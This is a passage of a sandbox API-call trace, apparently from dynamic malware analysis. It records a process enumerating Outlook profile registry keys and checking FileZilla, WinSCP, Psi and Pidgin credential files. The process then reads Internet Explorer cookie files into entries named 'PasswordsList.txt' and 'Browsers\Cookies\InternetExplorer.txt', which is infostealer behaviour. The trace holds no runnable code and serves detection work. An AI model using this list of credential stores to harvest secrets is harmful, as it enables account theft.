phkResult=0x18e634*=0x110) returned 0x0 [0074.699] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0074.700] RegCloseKey (hKey=0x110) returned 0x0 [0074.700] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761", phkResult=0x18e634 | out: phkResult=0x18e634*=0x110) returned 0x0 [0074.700] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0074.703] RegCloseKey (hKey=0x110) returned 0x0 [0074.703] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", phkResult=0x18e634 | out: phkResult=0x18e634*=0x110) returned 0x0 [0074.703] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0074.703] RegCloseKey (hKey=0x110) returned 0x0 [0074.703] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}", phkResult=0x18e634 | out: phkResult=0x18e634*=0x110) returned 0x0 [0074.703] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="Calendar Summary") returned 0x0 [0074.703] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\Calendar Summary", phkResult=0x18e630 | out: phkResult=0x18e630*=0x3f8) returned 0x0 [0074.703] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\Calendar Summary", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x43c) returned 0x0 [0074.703] RegQueryValueExW (in: hKey=0x43c, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x0, lpData=0x18d330*=0x0, lpcbData=0x18d534*=0xfe) returned 0x2 [0074.703] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.704] RegCloseKey (hKey=0x3f8) returned 0x0 [0074.704] RegEnumKeyW (in: hKey=0x110, dwIndex=0x1, lpName=0x18de00, cchName=0x800 | out: lpName="Calendar Summary") returned 0x103 [0074.704] RegCloseKey (hKey=0x110) returned 0x0 [0074.704] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", phkResult=0x18e634 | out: phkResult=0x18e634*=0x0) returned 0x2 [0074.704] RegCloseKey (hKey=0x0) returned 0x6 [0074.704] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook", phkResult=0x18e634 | out: phkResult=0x18e634*=0x0) returned 0x2 [0074.704] RegCloseKey (hKey=0x0) returned 0x6 [0074.704] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\filezilla\\recentservers.xml", lpDst=0x6c95fc, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\filezilla\\recentservers.xml") returned 0x4a [0074.705] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\filezilla\\recentservers.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.705] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\filezilla\\recentservers.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\filezilla\\recentservers.xml")) returned 0xffffffff [0074.705] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\filezilla\\recentservers.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.705] SysReAllocStringLen (in: pbstr=0x18e664*=0x0, psz="Software\\Martin Prikryl\\WinSCP 2\\Sessions\\", len=0x2a | out: pbstr=0x18e664*="Software\\Martin Prikryl\\WinSCP 2\\Sessions\\") returned 1 [0074.705] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Martin Prikryl\\WinSCP 2\\Sessions\\", phkResult=0x18e660 | out: phkResult=0x18e660*=0x0) returned 0x2 [0074.706] RegCloseKey (hKey=0x0) returned 0x6 [0074.706] ExpandEnvironmentStringsW (in: lpSrc="%Appdata%\\Psi+\\profiles\\", lpDst=0x6c95fc, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi+\\profiles\\") returned 0x3d [0074.706] SysReAllocStringLen (in: pbstr=0x23203ec*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi+\\profiles\\", len=0x3c | out: pbstr=0x23203ec*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi+\\profiles\\") returned 1 [0074.706] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985a3c, cbMultiByte=23, lpWideCharStr=0x18d398, cchWideChar=2047 | out: lpWideCharStr="%Appdata%\\Psi\\profiles\\\\") returned 23 [0074.706] ExpandEnvironmentStringsW (in: lpSrc="%Appdata%\\Psi\\profiles\\", lpDst=0x6c95fc, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi\\profiles\\") returned 0x3c [0074.706] SysReAllocStringLen (in: pbstr=0x23203f0*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi\\profiles\\", len=0x3b | out: pbstr=0x23203f0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi\\profiles\\") returned 1 [0074.706] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi+\\profiles\\\\*.*", lpFindFileData=0x18e400 | out: lpFindFileData=0x18e400*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.706] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e400 | out: lpFindFileData=0x18e400*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.706] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi\\profiles\\\\*.*", lpFindFileData=0x18e400 | out: lpFindFileData=0x18e400*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.706] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e400 | out: lpFindFileData=0x18e400*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.706] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\.purple\\accounts.xml", lpDst=0x6c95fc, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\.purple\\accounts.xml") returned 0x43 [0074.706] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\.purple\\accounts.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\.purple\\accounts.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.706] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\.purple\\accounts.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\.purple\\accounts.xml")) returned 0xffffffff [0074.706] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\.purple\\accounts.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\.purple\\accounts.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.707] CharToOemBuffA (in: lpszSrc="PasswordsList.txt", lpszDst=0x2321620, cchDstLength=0x11 | out: lpszDst="PasswordsList.txt") returned 1 [0074.709] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x3984154, Length=0xb1) returned 0xf8135772 [0074.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984ea4, cbMultiByte=16, lpWideCharStr=0x18d388, cchWideChar=2047 | out: lpWideCharStr="InternetExplorer%\\Psi\\profiles\\\\") returned 16 [0074.709] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\Windows\\Cookies\\", lpDst=0x6c95fc, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned 0x49 [0074.710] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c3625f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1c3625f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1c3625f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adobe[1].txt", cAlternateFileName="5P5NRG~1.TXT")) returned 0x66e488 [0074.713] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@adobe[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.714] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x53 [0074.714] ReadFile (in: hFile=0x3f4, lpBuffer=0x39865c8, nNumberOfBytesToRead=0x53, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x39865c8*, lpNumberOfBytesRead=0x18e098*=0x53, lpOverlapped=0x0) returned 1 [0074.715] CloseHandle (hObject=0x3f4) returned 1 [0074.715] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d72bcd0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e6a4bd0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e6a4bd0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adobe[3].txt", cAlternateFileName="5P0100~1.TXT")) returned 1 [0074.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@adobe[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.717] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x227 [0074.717] ReadFile (in: hFile=0x3f4, lpBuffer=0x398706c, nNumberOfBytesToRead=0x227, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x398706c*, lpNumberOfBytesRead=0x18e098*=0x227, lpOverlapped=0x0) returned 1 [0074.718] CloseHandle (hObject=0x3f4) returned 1 [0074.718] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d8f4d50, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e658910, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e658910, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@demdex[1].txt", cAlternateFileName="5PFFE8~1.TXT")) returned 1 [0074.723] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@demdex[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.723] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xf1 [0074.723] ReadFile (in: hFile=0x3f4, lpBuffer=0x3984304, nNumberOfBytesToRead=0xf1, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3984304*, lpNumberOfBytesRead=0x18e098*=0xf1, lpOverlapped=0x0) returned 1 [0074.724] CloseHandle (hObject=0x3f4) returned 1 [0074.724] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e658910, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e658910, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e658910, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", cAlternateFileName="5PB43E~1.TXT")) returned 1 [0074.725] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.725] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x6f [0074.725] ReadFile (in: hFile=0x3f4, lpBuffer=0x3983f20, nNumberOfBytesToRead=0x6f, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3983f20*, lpNumberOfBytesRead=0x18e098*=0x6f, lpOverlapped=0x0) returned 1 [0074.726] CloseHandle (hObject=0x3f4) returned 1 [0074.726] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1dcf9270, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1dcf9270, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1dcf9270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@everesttech[1].txt", cAlternateFileName="5P5NRG~4.TXT")) returned 1 [0074.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.727] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x6e [0074.727] ReadFile (in: hFile=0x3f4, lpBuffer=0x3983f20, nNumberOfBytesToRead=0x6e, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3983f20*, lpNumberOfBytesRead=0x18e098*=0x6e, lpOverlapped=0x0) returned 1 [0074.728] CloseHandle (hObject=0x3f4) returned 1 [0074.728] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86af2d0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2c7870d0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@google[2].txt", cAlternateFileName="5P5NRG~2.TXT")) returned 1 [0074.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@google[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.730] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x114 [0074.730] ReadFile (in: hFile=0x3f4, lpBuffer=0x3984304, nNumberOfBytesToRead=0x114, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3984304*, lpNumberOfBytesRead=0x18e098*=0x114, lpOverlapped=0x0) returned 1 [0074.731] CloseHandle (hObject=0x3f4) returned 1 [0074.731] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1dcf9270, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1dcf9270, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1dcf9270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x56, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@ml314[1].txt", cAlternateFileName="5P0DBF~1.TXT")) returned 1 [0074.732] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@ml314[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.732] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x56 [0074.732] ReadFile (in: hFile=0x3f4, lpBuffer=0x23222ac, nNumberOfBytesToRead=0x56, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x23222ac*, lpNumberOfBytesRead=0x18e098*=0x56, lpOverlapped=0x0) returned 1 [0074.733] CloseHandle (hObject=0x3f4) returned 1 [0074.733] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e5e64f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e5e64f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e5e64f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", cAlternateFileName="5P94E6~1.TXT")) returned 1 [0074.735] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.735] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x19e [0074.735] ReadFile (in: hFile=0x3f4, lpBuffer=0x398706c, nNumberOfBytesToRead=0x19e, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x398706c*, lpNumberOfBytesRead=0x18e098*=0x19e, lpOverlapped=0x0) returned 1 [0074.736] CloseHandle (hObject=0x3f4) returned 1 [0074.736] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e5e64f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e5e64f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e5e64f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", cAlternateFileName="5P94E6~1.TXT")) returned 0 [0074.736] FindClose (in: hFindFile=0x66e488 | out: hFindFile=0x66e488) returned 1 [0074.736] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e5e64f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e5e64f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e5e64f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", cAlternateFileName="5P94E6~1.TXT")) returned 0xffffffff [0074.736] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f8 [0074.736] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x19e [0074.736] ReadFile (in: hFile=0x3f8, lpBuffer=0x398706c, nNumberOfBytesToRead=0x19e, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x398706c*, lpNumberOfBytesRead=0x18e098*=0x19e, lpOverlapped=0x0) returned 1 [0074.736] CloseHandle (hObject=0x3f8) returned 1 [0074.736] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e5e64f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e5e64f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e5e64f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", cAlternateFileName="5P94E6~1.TXT")) returned 0 [0074.737] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.737] CharToOemBuffA (in: lpszSrc="Browsers\\Cookies\\InternetExplorer.txt", lpszDst=0x23222ac, cchDstLength=0x25 | out: lpszDst="Browsers\\Cookies\\InternetExplorer.txt") returned 1 [0074.737] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x2323024, Length=0x714) returned 0x5c411b39 [0074.737] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\Windows\\Cookies\\Low\\", lpDst=0x6cd5fc, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS 